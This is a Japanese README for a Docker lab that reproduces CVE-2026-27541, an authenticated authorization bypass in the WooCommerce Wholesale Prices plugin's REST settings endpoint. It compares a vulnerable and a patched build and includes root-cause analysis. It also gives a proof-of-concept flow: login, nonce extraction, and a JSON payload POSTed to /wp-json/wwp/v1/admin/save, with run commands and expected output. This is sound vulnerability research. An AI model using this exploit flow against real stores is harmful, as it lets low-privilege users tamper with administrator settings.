
# CVE-2026-27541 再現用Dockerラボ WooCommerce Wholesale Pricesにおける認証済み権限昇格(CVE-2026-27541)を再現するためのDockerラボです。脆弱性のあるビルドとパッチ適用済みビルドを比較し、PoCスクリプトと根本原因分析を含みます。

このプロジェクトは、WooCommerce Wholesale Prices / Wholesale Suite プラグインにおける CVE-2026-27541 の挙動を、脆弱なビルドとパッチ適用済みビルドを同一マシン上で並行して比較しながら分析・再現するためのローカル Docker ラボです。
中核となる問題は、以下の REST API エンドポイントにおけるアクセス制御の欠陥 (Broken Access Control) です:
/wp-json/wwp/v1/admin/save
このラボで使用するソースコードに基づくと、このルートには脆弱なビルドとパッチ適用済みビルドの両方で既に permission_callback が存在します。しかし、影響を受けるバージョンでは、管理者設定の書き込みアクションに対して権限チェックが広すぎます:
2.2.6) → current_user_can( 'manage_woocommerce' )2.2.7) → current_user_can( 'manage_options' )このラボでは、shop_manager ロールを持つユーザー shopmgr は manage_woocommerce=true ですが manage_options は持っていません。その結果、この低権限ユーザーは、有効なログインセッションと有効な X-WP-Nonce を使用して、脆弱なビルドでは管理者設定保存エンドポイントを呼び出すことができますが、パッチ適用済みビルドでは同じリクエストに対して 403 rest_forbidden が返されます。
2.2.6): ユーザー shopmgr は POST /wp-json/wwp/v1/admin/save を正常に呼び出し、プラグイン設定を変更できます。2.2.7): shopmgr からの同じリクエストは 403 で拒否されます。403 を返します。これは、これが認証後の権限昇格の問題であることと整合的です。wwp_see_wholesale_prices_replacement_text=PWNED_BY_POC を保存しますが、パッチ適用済みビルドは引き続き See wholesale prices を返します。vuln → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.6patched → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.7db-vuln / db-patched → 個別の MariaDB データベースseed-vuln / seed-patched → WordPress のインストール、プラグインのインストール、ユーザーの作成、テスト用商品の作成を行う wp-cli シードジョブhttp://localhost:8081 → 脆弱http://localhost:8082 → パッチ適用済みwordpress:6.8.1-php8.2-apachemariadb:11.4.5wordpress:cli-php8.2.
├── docker-compose.yml
├── README.md
├── patched/
│ └── Dockerfile
├── vuln/
│ └── Dockerfile
├── scripts/
│ └── seed-wp.sh
└── poc.py
docker-compose.yml — 個別のデータベースを持つ脆弱なスタックとパッチ適用済みスタックを定義scripts/seed-wp.sh — WordPress、WooCommerce、対象プラグインをインストールし、テストユーザーと商品データを作成poc.py — ログイン、nonce 抽出、REST エンドポイント呼び出しのための最小被害の PoCスタックの準備が完了すると、シードスクリプトは以下を作成します:
admin / AdminPass!234shopmgr / ShopMgrPass!234lab-product10050WooCommerce: 10.6.0
WooCommerce Wholesale Prices:
2.2.62.2.7スクリプトはまた、シードされたデータとバージョン情報を検証できるように、各 WordPress コンテナに lab-secrets.json を書き込みます。
この PoC は、サイトの乗っ取り、ロールの変更、プラグインのインストール、シェルの実行を試みません。
以下のことのみを行います:
shopmgr としてログインwpApiSettings.nonce を抽出wwp_see_wholesale_prices_replacement_text = PWNED_BY_POC
この設定は、低権限ユーザーが管理者専用の設定を変更できることを実証するための観察可能なマーカーとして使用されます。
POST /wp-json/wwp/v1/admin/saveエンドポイントが有効なセッションと nonce を必要とするにもかかわらず、脆弱なバージョンでは、shop_manager ロールを持つ shopmgr のような低権限ユーザーが、管理者専用であるべきエンドポイントを呼び出すことができます。
これは未認証の脆弱性ではありません。
エンドポイントがログインセッションなしで直接呼び出された場合、脆弱なビルドとパッチ適用済みビルドの両方がリクエストを拒否します。このバグは認証後の認可に存在し、認証自体には存在しません。
脆弱なバージョンは permission_callback が欠落しているわけではありません。欠陥は、管理者側の設定を書き込む REST アクションに対して、広すぎる権限チェック (manage_woocommerce) を使用していることです。
includes/class-wwp-admin-settings.php のソースコードから:
POST /wp-json/wwp/v1/admin/savesave_registered_settings() にルーティングpermission_admin_check() を permission_callback として使用2.2.6)if ( ! current_user_can( 'manage_woocommerce' ) ) {
return new WP_Error( 'rest_forbidden', ... );
}
2.2.7)if ( ! current_user_can( 'manage_options' ) ) {
return new WP_Error( 'rest_forbidden', ... );
}
このラボでは、shop_manager ロールを持つユーザー shopmgr は manage_woocommerce=true ですが manage_options は持っていないため、脆弱なチェックは通過しますが、パッチ適用済みのチェックは失敗します。
パッチ適用済みバージョンは、レスポンスを 200 から 403 に変更するだけではありません。権限要件を manage_woocommerce から manage_options に厳格化することで、アクセス制御ロジックを変更しています。
さらに、パッチ適用済みビルドの保存パスは、プレフィックスベースのフィルタリングから明示的な許可リストとより強力なサニタイズへの移行により、さらに強化されています。
PoC は実際のブラウザコンテキストと同じフローに従います:
shopmgr としてログインwpApiSettings.nonce を抽出POST /wp-json/wwp/v1/admin/save を呼び出す脆弱なビルドは manage_woocommerce を持つユーザーがこの設定書き込みアクションを呼び出すことを許可するため、リクエストは成功し、永続的なオプション変更が発生します。
nonce は CSRF からの保護に役立ちますが、認可制御ではありません。
有効なセッションと有効な nonce を持っていることは、ユーザーが管理者アクションを実行できることを意味しません。特権エンドポイントで過度に広い権限を使用することは、低権限の認可バイパスを生み出すのに十分です。
docker compose up -d --build
docker compose ps
少なくとも以下が表示されるはずです:
cve-2026-27541-vuln-1cve-2026-27541-patched-1cve-2026-27541-db-vuln-1cve-2026-27541-db-patched-1docker compose logs -f seed-vuln seed-patched
docker compose exec vuln cat /var/www/html/lab-secrets.json
docker compose exec patched cat /var/www/html/lab-secrets.json
poc.py は以下のように動作します:
GET /wp-login.php
POST /wp-login.php で認証済みセッションを確立
プラグイン管理ページを開く:
/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
HTML/JavaScript から wpApiSettings.nonce と REST ルートを抽出
リクエストを送信:
/wp-json/wwp/v1/admin/save
ペイロードを送信:
[
{
"key": "wwp_see_wholesale_prices_replacement_text",
"value": "PWNED_BY_POC"
}
]
python3 poc.py \
--base-url http://localhost:8081 \
--username shopmgr \
--password 'ShopMgrPass!234'
python3 poc.py \
--base-url http://localhost:8082 \
--username shopmgr \
--password 'ShopMgrPass!234'
8081)期待される出力:
[+] Base URL: http://localhost:8081
[+] Username: shopmgr
[+] Logged in successfully
[+] Accessed admin page: http://localhost:8081/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
[+] Using wpApiSettings nonce
[+] Nonce: b6b6add11b
[+] REST root: http://localhost:8081/wp-json/
[+] Sending payload to: http://localhost:8081/wp-json/wwp/v1/admin/save
[+] HTTP status: 200
{"status":"success","message":"Settings saved successfully."}
[+] PoC SUCCESS (pwnd)
[*] Verify via incognito (not logged in):
- Open product page
- Look for: PWNED_BY_POC
8082)期待される出力:
[+] Base URL: http://localhost:8082
[+] Username: shopmgr
[+] Logged in successfully
[+] Accessed admin page: http://localhost:8082/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
[+] Using wpApiSettings nonce
[+] Nonce: 5c4ef2ac6f
[+] REST root: http://localhost:8082/wp-json/
[+] Sending payload to: http://localhost:8082/wp-json/wwp/v1/admin/save
[+] HTTP status: 403
{"code":"rest_forbidden","message":"You do not have permission to save data.","data":{"status":403}}
[-] PoC failed
脆弱なノードで PoC が成功した後:
PWNED_BY_POC
このバグクラスの実際的な影響は、低権限ユーザーが管理者専用であるべき設定を変更できることであり、直接的に以下につながる可能性があります:
このラボでは、脆弱性の状態を証明するために必要な範囲を超えたロール変更や昇格を避けるため、意図的に安全で観察可能なペイロードを使用しています。
docker compose down -v
localhost のみにバインドこのラボは、CVE-2026-27541 がプラグインの REST API 設定エンドポイントにおける認証済み低権限の認可バイパスであることを示しています。バージョン 2.2.6 の欠陥は、権限チェックの欠如ではなく、manage_options レベルで制限されるべきアクションに対して過度に広い権限 (manage_woocommerce) を使用していることです。
このローカル環境では:
shopmgr は脆弱なチェックを通過し、POST /wp-json/wwp/v1/admin/save を通じて管理者側の設定を正常に変更できます2.2.7 ではブロックされますPWNED_BY_POC を永続化しますが、パッチ適用済みビルドはしませんその結果、このリポジトリは、完全に制御されたローカル環境における脆弱なビルドとパッチ適用済みビルドの違いの、行動的証明およびコードに基づく証明の両方として機能します。